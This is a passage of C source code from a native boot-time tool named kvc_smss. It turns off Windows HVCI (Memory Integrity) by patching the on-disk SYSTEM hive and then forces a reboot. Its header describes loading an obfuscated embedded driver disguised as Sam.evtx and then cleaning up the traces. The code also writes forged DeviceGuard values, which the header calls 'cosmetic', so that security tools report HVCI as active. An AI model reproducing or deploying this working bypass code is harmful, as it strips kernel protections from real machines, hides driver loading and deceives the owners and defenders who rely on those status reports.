    SIZE_T finalLen = wcscat_safe(fullServicePath, MAX_PATH_LEN, driverName);
    if (finalLen >= MAX_PATH_LEN) {
        DEBUG_LOG(L"WARNING: Service path truncated during cleanup\r\n");
        return STATUS_OBJECT_NAME_INVALID;
    }

    RtlInitUnicodeString(&usServiceName, fullServicePath);
    InitializeObjectAttributes(&oa, &usServiceName, OBJ_CASE_INSENSITIVE, NULL, NULL);

    status = NtOpenKey(&hKey, DELETE, &oa);
    if (NT_SUCCESS(status)) {
        NtDeleteKey(hKey);
        NtClose(hKey);
        DEBUG_LOG(L"INFO: Driver registry key cleaned up\r\n");
    }

    return STATUS_SUCCESS;
}

// Naive exact byte-pattern search.  Returns the offset of the first match
// within buffer[0..bufferSize-1], or (SIZE_T)-1 if not found.
// Used for the NK key-name search in the hive scanner.
SIZE_T FindPatternInBuffer(PUCHAR buffer, SIZE_T bufferSize, PUCHAR pattern, SIZE_T patternSize) {
    for (SIZE_T i = 0; i <= bufferSize - patternSize; i++) {
        BOOLEAN match = TRUE;
        for (SIZE_T j = 0; j < patternSize; j++) {
            if (buffer[i + j] != pattern[j]) {
                match = FALSE;
                break;
            }
        }
        if (match) return i;
    }
    return (SIZE_T)-1;
}

static ULONG ReadLeUlong(PUCHAR buffer) {
    return ((ULONG)buffer[0]) |
           ((ULONG)buffer[1] << 8) |
           ((ULONG)buffer[2] << 16) |
           ((ULONG)buffer[3] << 24);
}

static USHORT ReadLeUshort(PUCHAR buffer) {
    return (USHORT)(((ULONG)buffer[0]) |
                    ((ULONG)buffer[1] << 8));
}

// Returns TRUE if the VK cell name is "Enabled".
// Handles both narrow (ASCII, flags bit 0 set) and wide (Unicode, flags bit 0
// clear) name encoding — the SYSTEM hive uses narrow names, but the function
// accepts either for robustness.
static BOOLEAN VkNameMatchesEnabled(PUCHAR vkBuffer, ULONG bytesAvailable, USHORT nameLength, USHORT flags) {
    static const char enabledName[] = "Enabled";

    if ((flags & 0x0001) != 0) {
        if (nameLength != 7 || bytesAvailable < ((ULONG)HIVE_VK_FIXED_SIZE + (ULONG)nameLength)) {
            return FALSE;
        }

        for (ULONG i = 0; i < 7; i++) {
            if (vkBuffer[HIVE_VK_FIXED_SIZE + i] != (UCHAR)enabledName[i]) {
                return FALSE;
            }
        }

        return TRUE;
    }

    if (nameLength != (7 * sizeof(WCHAR)) ||
        bytesAvailable < ((ULONG)HIVE_VK_FIXED_SIZE + (ULONG)nameLength)) {
        return FALSE;
    }

    for (ULONG i = 0; i < 7; i++) {
        if (ReadLeUshort(vkBuffer + HIVE_VK_FIXED_SIZE + (i * sizeof(WCHAR))) != (USHORT)enabledName[i]) {
            return FALSE;
        }
    }

    return TRUE;
}

// ============================================================================
// HIVE PATCHING (CHUNKED NK/VK WALK)
// ============================================================================

// Patches the HypervisorEnforcedCodeIntegrity\Enabled DWORD in the live SYSTEM
// hive file.  enable=TRUE sets value to 1 (re-enable HVCI on next boot);
// enable=FALSE sets value to 0 (disable HVCI on next boot).
//
// Returns TRUE if at least one VK was successfully patched or was already at
// the requested value.  Returns FALSE if the pattern is not found or I/O fails.
//
// NOTE: The hive file is written directly at the physical record level.
// Any in-memory registry views are NOT updated — the change takes effect only
// after a reboot when the kernel mounts the hive fresh from disk.
BOOLEAN PatchSystemHiveHVCI(BOOLEAN enable) {
    UNICODE_STRING usFilePath;
    OBJECT_ATTRIBUTES oa;
    IO_STATUS_BLOCK iosb;
    HANDLE hFile;
    NTSTATUS status;
    
    static UCHAR chunkBuffer[SCAN_CHUNK_SIZE]; 
    
    LARGE_INTEGER fileOffset;
    ULONG bytesRead;
    ULONG newValue = enable ? 1 : 0;

    // Pattern: "HypervisorEnforcedCodeIntegrity"
    static const UCHAR hvciPattern[31] = {
        0x48,0x79,0x70,0x65,0x72,0x76,0x69,0x73,0x6F,0x72,
        0x45,0x6E,0x66,0x6F,0x72,0x63,0x65,0x64,0x43,0x6F,
        0x64,0x65,0x49,0x6E,0x74,0x65,0x67,0x72,0x69,0x74,0x79
    };

    DEBUG_LOG(L"DEBUG: Opening SYSTEM hive (Chunked Mode)...\r\n");

    RtlInitUnicodeString(&usFilePath, L"\\SystemRoot\\System32\\config\\SYSTEM");
    InitializeObjectAttributes(&oa, &usFilePath, OBJ_CASE_INSENSITIVE, NULL, NULL);

    status = NtOpenFile(&hFile, FILE_READ_DATA | FILE_WRITE_DATA | SYNCHRONIZE, &oa, &iosb,
                       FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
                       FILE_OPEN_FOR_BACKUP_INTENT | FILE_SYNCHRONOUS_IO_NONALERT);

    if (!NT_SUCCESS(status)) {
        DisplayMessage(L"FAILED: Cannot open SYSTEM hive");
        DisplayStatus(status);
        return FALSE;
    }

    // Query file size to control the scanning loop
    FILE_STANDARD_INFORMATION fileInfo;
    memset_impl(&fileInfo, 0, sizeof(fileInfo));
    status = NtQueryInformationFile(hFile, &iosb, &fileInfo, sizeof(fileInfo), FileStandardInformation);
    if (!NT_SUCCESS(status)) {
        NtClose(hFile);
        DisplayMessage(L"FAILED: Cannot query hive size");
        return FALSE;
    }

    ULONGLONG fileSize = (ULONGLONG)fileInfo.EndOfFile.QuadPart;
    ULONGLONG currentPos = 0;
    ULONG patchCount = 0;
    ULONG skipCount = 0;

    fileOffset.QuadPart = 0;

    // Main loop: chunk by chunk
    while (currentPos < fileSize) {
        
        // Read next file chunk (1 MB)
        status = NtReadFile(hFile, NULL, NULL, NULL, &iosb, chunkBuffer, SCAN_CHUNK_SIZE, &fileOffset, NULL);
        
        // Handle read errors or EOF scenarios
        if (!NT_SUCCESS(status)) {
             if (status == 0x103) {
                 // STATUS_PENDING - rare in sync mode
             } else if (status != 0x80000011) {
                 break; // Generic read error
             }
        }

        bytesRead = (ULONG)iosb.Information;
        if (bytesRead == 0) break;

        // In-chunk scanning
        SIZE_T searchStart = 0;
        
        while (searchStart < bytesRead) {
            // Find key name pattern in current chunk
            SIZE_T patternOffset = FindPatternInBuffer(chunkBuffer + searchStart, bytesRead - searchStart, (PUCHAR)hvciPattern, 31);
            
            if (patternOffset == (SIZE_T)-1) {
                break; // Not found in remainder of this chunk
            }
            
            patternOffset += searchStart; // Convert to chunk-relative offset

            // The key name must belong to an NK cell, not an adjacent VK/value blob.
            if (patternOffset < HIVE_NK_NAME_OFFSET ||
                chunkBuffer[patternOffset - HIVE_NK_NAME_OFFSET] != 0x6E ||
                chunkBuffer[patternOffset - HIVE_NK_NAME_OFFSET + 1] != 0x6B) {
                searchStart = patternOffset + 31;
                continue;
            }

            ULONG valuesCount = ReadLeUlong(chunkBuffer + patternOffset - HIVE_NK_VALUES_COUNT_DELTA);
            ULONG valuesListOffset = ReadLeUlong(chunkBuffer + patternOffset - HIVE_NK_VALUES_LIST_DELTA);

            if (valuesListOffset == 0xFFFFFFFF || valuesCount == 0 || valuesCount > HIVE_MAX_VALUES) {
                searchStart = patternOffset + 31;
                continue;
            }

            ULONGLONG valuesListFileOffset = HIVE_BIN_BASE + (ULONGLONG)valuesListOffset;
            ULONGLONG valuesListBytes = 4ULL + ((ULONGLONG)valuesCount * sizeof(ULONG));

            if (valuesListFileOffset + valuesListBytes > fileSize) {
                searchStart = patternOffset + 31;
                continue;
            }

            ULONG valueOffsets[HIVE_MAX_VALUES];
            IO_STATUS_BLOCK readIosb;
            LARGE_INTEGER valuesListReadOffset;
            valuesListReadOffset.QuadPart = valuesListFileOffset + 4; // Skip cell size.

            memset_impl(valueOffsets, 0, sizeof(valueOffsets));
            status = NtReadFile(hFile, NULL, NULL, NULL, &readIosb,
                                valueOffsets, valuesCount * sizeof(ULONG),
                                &valuesListReadOffset, NULL);
            if (!NT_SUCCESS(status) || readIosb.Information < (valuesCount * sizeof(ULONG))) {
                searchStart = patternOffset + 31;
                continue;
            }

            BOOLEAN foundEnabled = FALSE;

            for (ULONG valueIndex = 0; valueIndex < valuesCount; valueIndex++) {
                if (valueOffsets[valueIndex] == 0xFFFFFFFF) {
                    continue;
                }

                ULONGLONG vkFileOffset = HIVE_BIN_BASE + (ULONGLONG)valueOffsets[valueIndex];
                if (vkFileOffset + HIVE_VK_FIXED_SIZE > fileSize) {
                    continue;
                }

                UCHAR vkBuffer[64];
                IO_STATUS_BLOCK vkIosb;
                LARGE_INTEGER vkReadOffset;
                ULONG bytesToRead = sizeof(vkBuffer);

                if (vkFileOffset + bytesToRead > fileSize) {
                    bytesToRead = (ULONG)(fileSize - vkFileOffset);
                }

                vkReadOffset.QuadPart = vkFileOffset;
                memset_impl(vkBuffer, 0, sizeof(vkBuffer));

                status = NtReadFile(hFile, NULL, NULL, NULL, &vkIosb,
                                    vkBuffer, bytesToRead,
                                    &vkReadOffset, NULL);
                if (!NT_SUCCESS(status) || vkIosb.Information < HIVE_VK_FIXED_SIZE + 7) {
                    continue;
                }

                if (vkBuffer[4] != 0x76 || vkBuffer[5] != 0x6B) {
                    continue;
                }

                USHORT nameLength = ReadLeUshort(vkBuffer + 6);
                ULONG dataLength = ReadLeUlong(vkBuffer + 8);
                ULONG currentValue = ReadLeUlong(vkBuffer + 12);
                ULONG dataType = ReadLeUlong(vkBuffer + 16);
                USHORT valueFlags = ReadLeUshort(vkBuffer + 20);

                if (dataType != REG_DWORD || dataLength != HIVE_VK_INLINE_DWORD) {
                    continue;
                }

                if (!VkNameMatchesEnabled(vkBuffer, vkIosb.Information, nameLength, valueFlags)) {
                    continue;
                }

                if (currentValue != 0 && currentValue != 1) {
                    break;
                }

                foundEnabled = TRUE;

                if (currentValue == newValue) {
                    skipCount++;
                } else {
                    LARGE_INTEGER writeOffset;
                    LARGE_INTEGER verifyOffset;
                    IO_STATUS_BLOCK verifyIosb;
                    ULONG verifiedValue = 0xFFFFFFFF;
                    writeOffset.QuadPart = vkFileOffset + 12; // Inline REG_DWORD payload.

                    status = NtWriteFile(hFile, NULL, NULL, NULL, &iosb,
                                         &newValue, sizeof(newValue),
                                         &writeOffset, NULL);

                    if (NT_SUCCESS(status)) {
                        verifyOffset.QuadPart = vkFileOffset + 12;
                        status = NtReadFile(hFile, NULL, NULL, NULL, &verifyIosb,
                                            &verifiedValue, sizeof(verifiedValue),
                                            &verifyOffset, NULL);

                        if (NT_SUCCESS(status) &&
                            verifyIosb.Information == sizeof(verifiedValue) &&
                            verifiedValue == newValue) {
                            patchCount++;
                            DEBUG_LOG(L"DEBUG: HVCI VK patched via ValuesListOffset\r\n");
                        } else {
                            DEBUG_LOG(L"DEBUG: HVCI VK write verification failed\r\n");
                        }
                    }
                }

                break;
            }

            if (!foundEnabled) {
                DEBUG_LOG(L"DEBUG: HVCI key found but Enabled value not resolved\r\n");
            }
            
            // Continue searching within this chunk (handle multiple instances)
            searchStart = patternOffset + 31;
        }

        // Prepare for next chunk
        if (bytesRead < SCAN_CHUNK_SIZE) {
            break; // EOF reached
        }

        // Overlap adjustment: rewind file pointer by OVERLAP_SIZE
        currentPos += (bytesRead - OVERLAP_SIZE);
        fileOffset.QuadPart = currentPos;
    }

    // Finalization
    if (patchCount > 0) {
        DisplayMessage(L"SUCCESS: HVCI hive patched\r\n");
        
        // Flush buffers to physical media
        NtFlushBuffersFile(hFile, &iosb);
        NtClose(hFile);
        
        return TRUE; 
    }

    // Normal closure if no changes made
    NtClose(hFile);

    if (skipCount > 0) {
        DEBUG_LOG(enable ? L"INFO: HVCI already enabled.\r\n"
                         : L"INFO: HVCI already disabled.\r\n");
        return TRUE;
    }

    DisplayMessage(L"FAILED: Pattern not found (Chunked Scan)\r\n");
    return FALSE;
}

// ============================================================================
// MAIN HVCI CONTROL LOGIC
// ============================================================================

// Reads the live DeviceGuard registry key to determine whether HVCI is active.
// If Enabled==1: patches the SYSTEM hive, then triggers a reboot.
// Returns TRUE if a reboot was initiated (caller must terminate).
BOOLEAN CheckAndDisableHVCI(void) {
    UNICODE_STRING usKeyPath, usValueName;
    OBJECT_ATTRIBUTES oa;
    HANDLE hKey = NULL;
    NTSTATUS status;
    UCHAR buffer[256];
    ULONG resultLength;
    PKEY_VALUE_PARTIAL_INFORMATION kvpi;
    ULONG currentValue;

    RtlInitUnicodeString(&usKeyPath, HVCI_REG_PATH);
    InitializeObjectAttributes(&oa, &usKeyPath, OBJ_CASE_INSENSITIVE, NULL, NULL);

    status = NtOpenKey(&hKey, KEY_READ, &oa);
    if (!NT_SUCCESS(status)) {
        return FALSE;
    }

    RtlInitUnicodeString(&usValueName, L"Enabled");
    memset_impl(buffer, 0, sizeof(buffer));

    status = NtQueryValueKey(hKey, &usValueName, KeyValuePartialInformation,
                            buffer, sizeof(buffer), &resultLength);

    NtClose(hKey);

    if (!NT_SUCCESS(status)) {
        return FALSE;
    }

    kvpi = (PKEY_VALUE_PARTIAL_INFORMATION)buffer;

    if (kvpi->Type != REG_DWORD || kvpi->DataLength != sizeof(ULONG)) {
        return FALSE;
    }

    currentValue = *(ULONG*)kvpi->Data;

    if (currentValue == 1) {
        DisplayMessage(L"INFO: HVCI (Memory Integrity) is enabled\r\n");
        DisplayMessage(L"INFO: Disabling HVCI via SYSTEM hive patch...\r\n");

        DEBUG_LOG(L"DEBUG: About to call PatchSystemHiveHVCI(FALSE)...\r\n");

        BOOLEAN patchResult = PatchSystemHiveHVCI(FALSE);

        DEBUG_LOG(L"DEBUG: PatchSystemHiveHVCI returned\r\n");

        if (!patchResult) {
            DisplayMessage(L"FAILED: Cannot patch SYSTEM hive\r\n");
            return FALSE;
        }

        DisplayMessage(L"SUCCESS: HVCI disabled in SYSTEM hive for next boot\r\n");
        DisplayMessage(L"INFO: Current registry value can still show the old state until reboot\r\n");
        DisplayMessage(L"INFO: Initiating system reboot...\r\n");

        status = NtShutdownSystem(1);

        if (!NT_SUCCESS(status)) {
            DisplayMessage(L"WARNING: Automatic reboot failed, reboot manually to apply HVCI change\r\n");
            DisplayStatus(status);
            return TRUE;
        }

        DisplayMessage(L"INFO: Waiting for system restart...\r\n");
        
        // Replace busy-wait with proper termination
        // System will reboot anyway, terminate process gracefully
        NtTerminateProcess((HANDLE)-1, STATUS_SUCCESS);
        return TRUE;
    }

    return FALSE;
}

// Patches the SYSTEM hive to re-enable HVCI (Enabled=1) for the next boot.
// Called after all driver operations complete when RestoreHVCI=YES.
NTSTATUS RestoreHVCI(void) {
    DisplayMessage(L"INFO: Re-enabling HVCI for next boot...\r\n");

    if (!PatchSystemHiveHVCI(TRUE)) {
        DisplayMessage(L"WARNING: Cannot restore HVCI in SYSTEM hive\r\n");
        return STATUS_NO_SUCH_DEVICE;
    }

    DisplayMessage(L"SUCCESS: HVCI will be re-enabled on next boot\r\n");
    return STATUS_SUCCESS;
}

// Returns KeBootTime as a FILETIME (UTC, 100-ns ticks) via
// NtQuerySystemInformation(SystemTimeOfDayInformation=3).
// SYSTEM_TIMEOFDAY_INFORMATION layout: BootTime(8), CurrentTime(8), TimeZoneBias(8), ...
//
// NOTE: this is NOT equivalent to Win32_OperatingSystem.LastBootUpTime — that value
// is recomputed on demand as (CurrentTime - GetTickCount64()) and drifts on Hyper-V
// after VMICTimeSync applies a step correction.  KeBootTime is written once during
// kernel Phase0 and never changes, which is exactly what DeviceGuard uses for
// ChangedInBootCycle validation.
static NTSTATUS GetBootTimeUtc(ULONGLONG* outBootTime) {
    // ULONGLONG[] gives 8-byte alignment — buf[0] == BootTime with no cast or copy.
    // 6 elements * 8 bytes = 48, matches SYSTEM_TIMEOFDAY_INFORMATION exactly.
    ULONGLONG buf[6];
    ULONG retLen = 0;
    NTSTATUS status;

    status = NtQuerySystemInformation(3 /*SystemTimeOfDayInformation*/,
                                      buf, sizeof(buf), &retLen);
    if (!NT_SUCCESS(status)) return status;
    if (retLen < 8) return STATUS_BUFFER_TOO_SMALL;

    *outBootTime = buf[0];  // BootTime at offset 0
    return STATUS_SUCCESS;
}

// Updates the volatile (live) DeviceGuard registry key — does NOT write the
// physical hive.  Effect is immediate; Security Center and system tools pick
// it up without a reboot.
//
// When enable=TRUE, also writes:
//   WasEnabledBy       (REG_DWORD) = 2  — "enabled by user/policy"
//   ChangedInBootCycle (REG_QWORD)      — KeBootTime from GetBootTimeUtc(),
//                                         matching what DeviceGuard reads for
//                                         boot-cycle validation
NTSTATUS SetHVCIRegistryFlag(BOOLEAN enable) {
    UNICODE_STRING usKeyPath, usValueName;
    OBJECT_ATTRIBUTES oa;
    HANDLE hKey = NULL;
    NTSTATUS status;
    ULONG value = enable ? 1 : 0;

    RtlInitUnicodeString(&usKeyPath, HVCI_REG_PATH);
    InitializeObjectAttributes(&oa, &usKeyPath, OBJ_CASE_INSENSITIVE, NULL, NULL);

    status = NtOpenKey(&hKey, KEY_WRITE, &oa);
    if (!NT_SUCCESS(status)) return status;

    // 1. Enabled (REG_DWORD)
    RtlInitUnicodeString(&usValueName, L"Enabled");
    status = NtSetValueKey(hKey, &usValueName, 0, REG_DWORD, &value, sizeof(ULONG));
    if (!NT_SUCCESS(status)) { NtClose(hKey); return status; }

    if (enable) {
        // 2. WasEnabledBy = 2 (REG_DWORD)
        ULONG wasEnabledBy = 2;
        RtlInitUnicodeString(&usValueName, L"WasEnabledBy");
        status = NtSetValueKey(hKey, &usValueName, 0, REG_DWORD,
                               &wasEnabledBy, sizeof(ULONG));
        if (!NT_SUCCESS(status)) { NtClose(hKey); return status; }

        // 3. ChangedInBootCycle (REG_QWORD) = boot FILETIME UTC
        ULONGLONG bootTime = 0;
        if (NT_SUCCESS(GetBootTimeUtc(&bootTime)) && bootTime != 0) {
            RtlInitUnicodeString(&usValueName, L"ChangedInBootCycle");
            status = NtSetValueKey(hKey, &usValueName, 0, REG_QWORD,
                                   &bootTime, sizeof(ULONGLONG));
            if (!NT_SUCCESS(status)) {
                DEBUG_LOG(L"WARNING: ChangedInBootCycle write failed\r\n");
                status = STATUS_SUCCESS;
            }
        } else {
            DEBUG_LOG(L"WARNING: Could not read BootTime, ChangedInBootCycle skipped\r\n");
        }
    }

    NtClose(hKey);
    return STATUS_SUCCESS;
}

<<<FILE: kvc_smss/SetupManager.h>>>
Created:  2026-05-04 01:29:33
Modified: 2026-05-04 01:29:33
Size:     1.44 KB
#ifndef SETUP_MANAGER_H
#define SETUP_MANAGER_H

#include "BootBypass.h"
#include "SystemUtils.h"

// Updates the live DeviceGuard registry key Enabled value (cosmetic, no hive write).
NTSTATUS SetHVCIRegistryFlag(BOOLEAN enable);

// XOR+LZNT1 decompress embedded resource IDR_DRV1 (kvc.sys), write to kvc_Log (Sam.evtx).
// Returns TRUE when the file is ready for LoadDriver.
BOOLEAN ExtractkvcFromResource(void);

// Deletes both the kvc_Log temporary file and the SCM registry key.
// Called after NtUnloadDriver in ExecuteAutoPatchLoad step 5.
NTSTATUS Cleanupkvc(void);

// Reads DeviceGuard HVCI registry key; if Enabled==1, patches SYSTEM hive and reboots.
// Returns TRUE if a reboot was initiated (caller must terminate without continuing).
BOOLEAN CheckAndDisableHVCI(void);

// Patches the SYSTEM hive to re-enable HVCI (Enabled=1) for the next boot.
NTSTATUS RestoreHVCI(void);

// XOR+LZNT1 decompress embedded resource IDR_DRV2 (HvciShutdownSvc.exe), write to
// System32\HvciShutdownSvc.exe, and create the HVCIShutdownSvc service registry key.
// Idempotent: existing file/key are silently overwritten / left unchanged.
// Returns TRUE on success; FALSE on resource or decompression error.
BOOLEAN ExtractHvciShutdownSvcAndRegisterService(void);

// Removes HvciShutdownSvc.exe from System32 and the HVCIShutdownSvc service registry
// key.  Called when RestoreHVCI=NO.  Idempotent: missing file/key is not an error.
void CleanupHvciShutdownSvc(void);

#endif

<<<FILE: kvc_smss/SystemUtils.c>>>
Created:  2026-05-01 21:01:16
Modified: 2026-04-18 03:51:37
Size:     22.9 KB
// ============================================================================
// SystemUtils — CRT replacement, string primitives, I/O helpers, INI parser
//
// No standard library is available (NODEFAULTLIB).  All string functions,
// memory operations, and display routines are implemented here.
//
// *_safe  — bounded variant; never writes past destSize WCHARs, always
//           null-terminates; returns full source length (like strlcpy/cat).
// *_check — boolean overflow-check only; does not modify any string.
// *_impl  — internal reimplementation of a standard C function.
//
// DisplayMessage is gated on g_VerboseMode.
// DisplayAlwaysMessage is unconditional and used for critical errors only.
// ============================================================================

#include "SystemUtils.h"

#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004)
#define SystemModuleInformation 11

// Stub for the MSVC compiler's stack-probe helper.  The real __chkstk probes
// stack pages on entry to functions with large locals; here it is a no-op
// because the full 1 MB stack is pre-committed at process creation.
void __chkstk(void) {}

// Suppresses NtDisplayString output until [Config] Verbose= has been parsed.
BOOLEAN g_VerboseMode = FALSE;

void* memset_impl(void* dest, int c, SIZE_T count) {
    unsigned char* d = (unsigned char*)dest;
    while (count--) *d++ = (unsigned char)c;
    return dest;
}

void* memcpy_impl(void* dest, const void* src, SIZE_T count) {
    unsigned char* d = (unsigned char*)dest;
    const unsigned char* s = (const unsigned char*)src;
    while (count--) *d++ = *s++;
    return dest;
}

SIZE_T wcslen(const WCHAR* str) {
    const WCHAR* s = str;
    while (*s) s++;
    return s - str;
}

WCHAR* wcscpy(WCHAR* dest, const WCHAR* src) {
    WCHAR* d = dest;
    while ((*d++ = *src++) != 0);
    return dest;
}

WCHAR* wcscat(WCHAR* dest, const WCHAR* src) {
    WCHAR* d = dest + wcslen(dest);
    while ((*d++ = *src++) != 0);
    return dest;
}

int _wcsicmp_impl(const WCHAR* str1, const WCHAR* str2) {
    while (*str1 && *str2) {
        WCHAR c1 = *str1, c2 = *str2;
        if (c1 >= L'a' && c1 <= L'z') c1 -= 32;
        if (c2 >= L'a' && c2 <= L'z') c2 -= 32;
        if (c1 != c2) return (c1 < c2) ? -1 : 1;
        str1++; str2++;
    }
    if (*str1) return 1;
    if (*str2) return -1;
    return 0;
}

// Bounded string length - returns length up to maxLen, never reads beyond
SIZE_T wcsnlen_safe(const WCHAR* str, SIZE_T maxLen) {
    if (!str) return 0;
    
    SIZE_T len = 0;
    while (len < maxLen && str[len] != 0) {
        len++;
    }
    return len;
}

// Safe string copy with size limit
// Returns: length of src (what would be copied if buffer was infinite)
// Result is always null-terminated if destSize > 0
SIZE_T wcscpy_safe(WCHAR* dest, SIZE_T destSize, const WCHAR* src) {
    if (!dest || destSize == 0) {
        return src ? wcslen(src) : 0;
    }
    
    if (!src) {
        dest[0] = 0;
        return 0;
    }
    
    SIZE_T srcLen = wcslen(src);
    SIZE_T copyLen = (srcLen < destSize - 1) ? srcLen : (destSize - 1);
    
    SIZE_T i;
    for (i = 0; i < copyLen; i++) {
        dest[i] = src[i];
    }
    dest[i] = 0;
    
    return srcLen; // Return full source length (may be > copyLen if truncated)
}

// Safe string concatenate with size limit
// Returns: length of dest+src combined (what would be the result if buffer was infinite)
// Result is always null-terminated if destSize > 0
SIZE_T wcscat_safe(WCHAR* dest, SIZE_T destSize, const WCHAR* src) {
    if (!dest || destSize == 0) {
        return src ? wcslen(src) : 0;
    }
    
    if (!src) {
        return wcsnlen_safe(dest, destSize);
    }
    
    // Use bounded length check in case dest is not properly terminated
    SIZE_T destLen = wcsnlen_safe(dest, destSize);
    SIZE_T srcLen = wcslen(src);
    
    // If dest already fills buffer, cannot append
    if (destLen >= destSize - 1) {
        return destLen + srcLen;
    }
    
    SIZE_T remaining = destSize - destLen - 1;
    SIZE_T copyLen = (srcLen < remaining) ? srcLen : remaining;
    
    SIZE_T i;
    for (i = 0; i < copyLen; i++) {
        dest[destLen + i] = src[i];
    }
    dest[destLen + i] = 0;
    
    return destLen + srcLen; // Return total length that would result
}

// Check if concatenation would fit without truncation
BOOLEAN wcscat_check(WCHAR* dest, SIZE_T destSize, const WCHAR* src) {
    if (!dest || !src || destSize == 0) return FALSE;
    
    SIZE_T destLen = wcsnlen_safe(dest, destSize);
    SIZE_T srcLen = wcslen(src);
    
    // Check overflow protection: destLen + srcLen + 1 <= destSize
    if (destLen >= destSize) return FALSE;
    if (srcLen > (destSize - destLen - 1)) return FALSE;
    
    return TRUE;
}

// Validate if adding addLen to currentLen would exceed maxLen
// Protected against arithmetic overflow
BOOLEAN validate_string_space(SIZE_T currentLen, SIZE_T addLen, SIZE_T maxLen) {
    if (currentLen >= maxLen) return FALSE;
    if (addLen > (maxLen - currentLen - 1)) return FALSE;
    return TRUE;
}

SIZE_T UnicodeStringCopySafe(WCHAR* dest, SIZE_T destSize, const UNICODE_STRING* src) {
    SIZE_T srcLen, copyLen, i;

    if (!dest || destSize == 0) {
        return (src && src->Buffer) ? (src->Length / sizeof(WCHAR)) : 0;
    }

    if (!src || !src->Buffer) {
        dest[0] = 0;
        return 0;
    }

    srcLen = src->Length / sizeof(WCHAR);
    copyLen = (srcLen < destSize - 1) ? srcLen : (destSize - 1);

    for (i = 0; i < copyLen; i++) {
        dest[i] = src->Buffer[i];
    }
    dest[i] = 0;

    return srcLen;
}

void TrimString(PWSTR str) {
    PWSTR start = str, end;
    while (*start == L' ' || *start == L'\t' || *start == L'\r' || *start == L'\n') start++;
    if (*start == 0) { *str = 0; return; }
    
    PWSTR semicolon = start;
    while (*semicolon && *semicolon != L';') semicolon++;
    if (*semicolon == L';') *semicolon = 0;
    
    end = start + wcslen(start) - 1;
    while (end > start && (*end == L' ' || *end == L'\t' || *end == L'\r' || *end == L'\n')) end--;
    *(end + 1) = 0;
    if (start != str) wcscpy(str, start);
}

BOOLEAN StringToULONGLONG(PCWSTR str, ULONGLONG* out) {
    ULONGLONG result = 0;
    PCWSTR p = str;
    if (p[0] == L'0' && (p[1] == L'x' || p[1] == L'X')) {
        p += 2;
        while (*p) {
            WCHAR c = *p;
            ULONGLONG digit;
            if (c >= L'0' && c <= L'9') digit = c - L'0';
            else if (c >= L'a' && c <= L'f') digit = c - L'a' + 10;
            else if (c >= L'A' && c <= L'F') digit = c - L'A' + 10;
            else return FALSE;
            result = (result << 4) | digit;
            p++;
        }
    } else {
        while (*p) {
            if (*p < L'0' || *p > L'9') return FALSE;
            result = result * 10 + (*p - L'0');
            p++;
        }
    }
    *out = result;
    return TRUE;
}

BOOLEAN StringToULONG(PCWSTR str, PULONG out) {
    ULONGLONG result;
    if (!StringToULONGLONG(str, &result) || result > 0xFFFFFFFF) return FALSE;
    *out = (ULONG)result;
    return TRUE;
}

void ULONGLONGToHexString(ULONGLONG value, PWSTR buffer, BOOLEAN includePrefix) {
    const WCHAR hexChars[] = L"0123456789ABCDEF";
    int i, offset = 0;
    if (includePrefix) { buffer[0] = L'0'; buffer[1] = L'x'; offset = 2; }
    for (i = 0; i < 16; i++) {
        int nibble = (value >> (60 - i * 4)) & 0xF;
        buffer[offset + i] = hexChars[nibble];
    }
    buffer[offset + 16] = 0;
}

static void DisplayMessageInternal(PCWSTR message) {
    if (!message) return;
    WCHAR tempBuffer[512];
    wcscpy_safe(tempBuffer, sizeof(tempBuffer) / sizeof(tempBuffer[0]), message);
    UNICODE_STRING usMsg;
    RtlInitUnicodeString(&usMsg, tempBuffer);
    NtDisplayString(&usMsg);
}

void DisplayMessage(PCWSTR message) {
    if (!message || !g_VerboseMode) return;
    DisplayMessageInternal(message);
}

void DisplayAlwaysMessage(PCWSTR message) {
    DisplayMessageInternal(message);
}

void DisplayStatus(NTSTATUS status) {
    WCHAR statusMsg[20];
    WCHAR hexChars[] = L"0123456789ABCDEF";
    statusMsg[0] = L' '; statusMsg[1] = L'('; statusMsg[2] = L'0'; statusMsg[3] = L'x';
    for (int i = 0; i < 8; i++) {
        int nibble = (status >> (28 - i * 4)) & 0xF;
        statusMsg[4 + i] = hexChars[nibble];
    }
    statusMsg[12] = L')'; statusMsg[13] = L'\r'; statusMsg[14] = L'\n'; statusMsg[15] = 0;
    DisplayMessage(statusMsg);
}

BOOLEAN AllocateZeroedBuffer(SIZE_T size, PVOID* outBuffer) {
    PVOID base = NULL;
    SIZE_T regionSize;
    NTSTATUS status;

    if (!outBuffer || size == 0) return FALSE;

    regionSize = size;
    status = NtAllocateVirtualMemory((HANDLE)-1, &base, 0, &regionSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!NT_SUCCESS(status)) {
        return FALSE;
    }

    memset_impl(base, 0, regionSize);
    *outBuffer = base;
    return TRUE;
}

void FreeAllocatedBuffer(PVOID buffer) {
    SIZE_T regionSize = 0;

    if (!buffer) return;
    NtFreeVirtualMemory((HANDLE)-1, &buffer, &regionSize, MEM_RELEASE);
}

// Allocates a buffer and fills it with the kernel module list.
// Retries up to 4 times with an expanding buffer on STATUS_INFO_LENGTH_MISMATCH.
// Caller must free *outModuleInfo with FreeAllocatedBuffer when done.
BOOLEAN QuerySystemModuleInformation(SYSTEM_MODULE_INFORMATION** outModuleInfo) {
    ULONG returnLength = 0;
    NTSTATUS status;
    ULONG attempt;

    if (!outModuleInfo) return FALSE;
    *outModuleInfo = NULL;

    status = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &returnLength);
    if (returnLength == 0 && NT_SUCCESS(status)) {
        return FALSE;
    }

    if (returnLength == 0) {
        returnLength = sizeof(SYSTEM_MODULE_INFORMATION) + (sizeof(SYSTEM_MODULE_ENTRY) * 64);
    }

    for (attempt = 0; attempt < 4; attempt++) {
        PVOID buffer = NULL;
        SIZE_T allocSize = (SIZE_T)returnLength + 0x1000;

        if (!AllocateZeroedBuffer(allocSize, &buffer)) {
            return FALSE;
        }

        status = NtQuerySystemInformation(SystemModuleInformation, buffer, (ULONG)allocSize, &returnLength);
        if (NT_SUCCESS(status)) {
            *outModuleInfo = (SYSTEM_MODULE_INFORMATION*)buffer;
            return TRUE;
        }

        FreeAllocatedBuffer(buffer);
        if (status != STATUS_INFO_LENGTH_MISMATCH) {
            return FALSE;
        }
        if (returnLength == 0) {
            returnLength = (ULONG)(allocSize * 2);
        }
    }

    return FALSE;
}

